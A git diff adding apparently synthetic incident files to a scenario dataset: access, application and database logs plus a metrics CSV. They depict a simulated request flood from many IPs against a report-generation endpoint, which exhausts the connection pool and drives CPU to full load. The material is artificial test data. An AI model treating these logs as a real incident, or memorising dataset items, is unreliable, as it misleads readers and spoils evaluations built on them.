+188.163.94.137 - - [15/Aug/2025:10:05:50 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:02:40 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:02:50 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:03:20 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:04:35 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:04:40 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:05:40 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:06:45 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:06:55 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +2025-08-15 10:03:00.000 UTC [3456] LOG: duration: 18360.455 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:10.000 UTC [3456] LOG: duration: 22503.675 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:25.000 UTC [3456] LOG: duration: 25896.676 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:35.000 UTC [3456] LOG: duration: 34341.580 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:40.000 UTC [3456] LOG: duration: 33503.439 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:45.000 UTC [3456] LOG: duration: 16458.484 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:50.000 UTC [3456] LOG: duration: 23980.415 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:55.000 UTC [3456] LOG: duration: 23846.823 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:04:25.000 UTC [3456] LOG: duration: 32058.240 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:04:45.000 UTC [3456] LOG: duration: 29157.671 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:04:55.000 UTC [3456] LOG: duration: 23115.049 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:05:15.000 UTC [3456] LOG: duration: 27303.015 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:05:25.000 UTC [3456] LOG: duration: 33943.394 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:05:45.000 UTC [3456] LOG: duration: 29446.814 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:05:50.000 UTC [3456] LOG: duration: 15584.979 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:06:00.000 UTC [3456] LOG: duration: 31472.907 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:06:05.000 UTC [3456] LOG: duration: 27980.980 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:06:20.000 UTC [3456] LOG: duration: 29768.015 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:06:35.000 UTC [3456] LOG: duration: 29984.193 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:06:40.000 UTC [3456] LOG: duration: 22696.816 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:07:00.000 UTC [3456] LOG: duration: 24884.055 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +72.21.215.101 - - [15/Aug/2025:10:00:05 +0000] "POST /api/v1/user/profile HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.101 - - [15/Aug/2025:10:01:10 +0000] "POST /api/v1/user/profile HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.101 - - [15/Aug/2025:10:01:20 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.101 - - [15/Aug/2025:10:01:30 +0000] "POST / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.106 - - [15/Aug/2025:10:00:00 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.106 - - [15/Aug/2025:10:00:35 +0000] "POST / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.106 - - [15/Aug/2025:10:02:00 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.106 - - [15/Aug/2025:10:02:15 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:00:55 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:01:00 +0000] "POST / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:01:35 +0000] "POST / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:01:45 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:02:05 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:04:50 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.115 - - [15/Aug/2025:10:00:20 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.115 - - [15/Aug/2025:10:01:25 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.115 - - [15/Aug/2025:10:02:20 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.92 - - [15/Aug/2025:10:00:25 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.92 - - [15/Aug/2025:10:01:05 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.92 - - [15/Aug/2025:10:01:50 +0000] "POST / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.92 - - [15/Aug/2025:10:03:25 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +Aug 15 10:00:00 systemd[1]: Starting daily user session cleanup... +Aug 15 10:00:10 systemd[1]: Starting daily user session cleanup... +Aug 15 10:00:45 systemd[1]: Starting daily user session cleanup... +Aug 15 10:01:00 systemd[1]: Starting daily user session cleanup... +Aug 15 10:01:25 systemd[1]: Starting daily user session cleanup... +Aug 15 10:03:00 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:03:20 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:03:25 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:03:35 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:04:05 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:04:20 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:04:40 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:04:55 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:05:15 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:05:20 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:05:35 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:06:30 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:06:40 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:06:45 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:06:50 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:07:05 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:07:15 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:07:15 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. diff --git a/mali_dataset/scenario_12/mali_12_7.csv b/mali_dataset/scenario_12/mali_12_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..b73f2dfeb655b62660840d997f8bf7d5064506b8 --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,12.16,44.09,26.68,1.49,2.18 +2025-08-15T10:00:05Z,13.5,42.12,16.46,2.64,2.7 +2025-08-15T10:00:10Z,19.86,35.72,19.22,1.97,1.16 +2025-08-15T10:00:15Z,22.71,42.71,19.06,2.29,1.75 +2025-08-15T10:00:20Z,24.4,37.07,23.54,2.87,2.84 +2025-08-15T10:00:25Z,24.26,44.73,21.47,2.12,2.96 +2025-08-15T10:00:30Z,10.73,35.7,27.83,2.48,2.65 +2025-08-15T10:00:35Z,24.23,40.25,24.47,1.36,2.87 +2025-08-15T10:00:40Z,12.19,43.63,25.8,1.55,1.05 +2025-08-15T10:00:45Z,10.61,37.47,21.6,2.66,1.53 +2025-08-15T10:00:50Z,17.69,42.1,20.72,2.73,1.53 +2025-08-15T10:00:55Z,16.51,45.0,25.19,2.79,2.65 +2025-08-15T10:01:00Z,17.33,42.58,22.8,2.71,1.67 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+2025-08-15T10:05:55Z,100.0,89.35,80.33,24.43,1.42 +2025-08-15T10:06:00Z,99.74,88.93,89.14,17.87,1.72 +2025-08-15T10:06:05Z,99.58,93.4,85.63,21.94,1.66 +2025-08-15T10:06:10Z,99.77,91.56,87.0,19.76,0.66 +2025-08-15T10:06:15Z,99.68,89.01,75.29,17.17,1.51 +2025-08-15T10:06:20Z,99.83,93.8,88.22,23.81,1.81 +2025-08-15T10:06:25Z,99.81,90.26,82.01,20.52,1.8 +2025-08-15T10:06:30Z,99.92,89.42,80.54,19.02,1.03 +2025-08-15T10:06:35Z,99.57,91.22,75.35,24.05,1.47 +2025-08-15T10:06:40Z,99.7,90.72,77.47,20.62,1.41 +2025-08-15T10:06:45Z,99.69,93.9,78.06,24.68,1.44 +2025-08-15T10:06:50Z,99.57,92.23,89.65,23.38,1.0 +2025-08-15T10:06:55Z,99.74,91.13,88.32,19.69,0.71 +2025-08-15T10:07:00Z,99.71,92.19,87.14,17.52,0.55 +2025-08-15T10:07:05Z,99.62,90.57,84.08,20.59,1.84 +2025-08-15T10:07:10Z,99.77,88.37,78.3,22.66,1.49 +2025-08-15T10:07:15Z,99.64,88.68,77.54,21.27,0.92 +2025-08-15T10:07:20Z,99.9,94.31,78.07,23.24,1.36 +2025-08-15T10:07:25Z,99.9,90.6,85.34,24.03,1.91 diff --git a/mali_dataset/scenario_12/mali_12_7.log b/mali_dataset/scenario_12/mali_12_7.log new file mode 100644 index 0000000000000000000000000000000000000000..d718828d58f76ce695597ac9c2eca5b8d6bc25da --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_7.log @@ -0,0 +1,373 @@ +Aug 15 10:00:00 api-gateway[1122]: 10.0.1.5 - GET /healthcheck status=200 OK +Aug 15 10:00:05 nginx[80]: 10.0.5.25 - - [15/Aug/2025:10:00:05 +0000] "GET /api/v1/users/profile HTTP/1.1" 200 1024 "-" "Mozilla/5.0" +Aug 15 10:00:10 web-app[2345]: INFO: User authentication successful for user_id: 163 +Aug 15 10:00:15 web-app[2345]: INFO: User authentication successful for user_id: 183 +Aug 15 10:00:20 web-app[2345]: INFO: User authentication successful for user_id: 110 +Aug 15 10:00:25 api-gateway[1122]: 10.0.1.5 - GET /healthcheck status=200 OK +Aug 15 10:00:30 nginx[80]: 10.0.5.25 - - [15/Aug/2025:10:00:30 +0000] "GET /api/v1/users/profile HTTP/1.1" 200 1024 "-" "Mozilla/5.0" +Aug 15 10:00:35 web-app[2345]: INFO: User authentication successful for user_id: 178 +Aug 15 10:00:40 web-app[2345]: INFO: User authentication successful for user_id: 148 +Aug 15 10:00:45 web-app[2345]: INFO: User authentication successful for user_id: 112 +Aug 15 10:00:50 api-gateway[1122]: 10.0.1.5 - GET /healthcheck status=200 OK +Aug 15 10:00:55 nginx[80]: 172.16.33.101 - - [15/Aug/2025:10:00:55 +0000] "GET /api/v1/users/profile HTTP/1.1" 200 1024 "-" "Mozilla/5.0" +Aug 15 10:01:00 web-app[2345]: INFO: User authentication successful for user_id: 133 +Aug 15 10:01:05 web-app[2345]: INFO: User authentication successful for user_id: 162 +Aug 15 10:01:10 web-app[2345]: INFO: User authentication successful for user_id: 128 +Aug 15 10:01:15 api-gateway[1122]: 10.0.1.5 - GET /healthcheck status=200 OK +Aug 15 10:01:20 nginx[80]: 192.168.1.10 - - [15/Aug/2025:10:01:20 +0000] "GET /api/v1/users/profile HTTP/1.1" 200 1024 "-" "Mozilla/5.0" +Aug 15 10:01:25 web-app[2345]: INFO: User authentication successful for user_id: 112 +Aug 15 10:01:30 web-app[2345]: INFO: User authentication successful for user_id: 145 +Aug 15 10:01:35 web-app[2345]: INFO: User authentication successful for user_id: 128 +Aug 15 10:01:40 api-gateway[1122]: 10.0.1.5 - GET /healthcheck status=200 OK +Aug 15 10:01:45 nginx[80]: 10.0.5.25 - - [15/Aug/2025:10:01:45 +0000] "GET /api/v1/users/profile HTTP/1.1" 200 1024 "-" "Mozilla/5.0" +Aug 15 10:01:50 web-app[2345]: INFO: User authentication successful for user_id: 102 +Aug 15 10:01:55 web-app[2345]: INFO: User authentication successful for user_id: 108 +Aug 15 10:02:00 web-app[2345]: INFO: User authentication successful for user_id: 155 +Aug 15 10:02:05 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:02:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:05 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:02:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:05 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:02:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:05 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:02:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:10 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:02:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:10 nginx[80]: 219.215.112.2 - - [15/Aug/2025:10:02:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:10 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:02:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 22.36.52.200 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:20 nginx[80]: 6.175.20.195 - - [15/Aug/2025:10:02:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:20 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:02:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:20 nginx[80]: 22.36.52.200 - - [15/Aug/2025:10:02:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 89.16.201.49 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 16.227.223.87 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 16.227.223.87 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 207.77.242.110 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:35 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:02:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:35 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:02:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:35 nginx[80]: 16.227.223.87 - - [15/Aug/2025:10:02:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:35 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:02:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:40 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:02:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:40 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:02:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:40 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:02:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:40 nginx[80]: 221.45.145.143 - - [15/Aug/2025:10:02:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:45 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:02:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:45 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:02:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:45 nginx[80]: 16.227.223.87 - - [15/Aug/2025:10:02:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:45 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:02:50 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:55 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:02:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:55 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:02:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:55 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:02:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:55 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:02:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:00 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:03:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:00 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:03:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:00 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:03:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:00 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:03:00 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:00 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:03:00 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:03:05 nginx[80]: 169.208.212.141 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:05 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:05 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:05 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:05 nginx[80]: 51.86.140.108 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:05 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:03:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:10 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:03:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:10 nginx[80]: 139.171.214.21 - - [15/Aug/2025:10:03:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:10 nginx[80]: 82.10.234.79 - - [15/Aug/2025:10:03:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:15 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:03:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:15 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:03:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:15 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:03:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:15 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:03:20 nginx[80]: 201.103.131.31 - - [15/Aug/2025:10:03:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:20 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:03:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:20 nginx[80]: 95.24.50.187 - - [15/Aug/2025:10:03:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:20 nginx[80]: 7.4.125.149 - - [15/Aug/2025:10:03:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:03:20 web-app[2345]: CRITICAL: Maximum execution time of 30 seconds exceeded for request to /api/v1/reports/generate?type=full_financials +Aug 15 10:03:20 postgres[5678]: LOG: process 12964 still waiting for ShareLock on transaction 5976 after 1000.125 ms +Aug 15 10:03:25 nginx[80]: 16.227.223.87 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 6.175.20.195 - - [15/Aug/2025:10:03:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:03:25 nginx[80]: 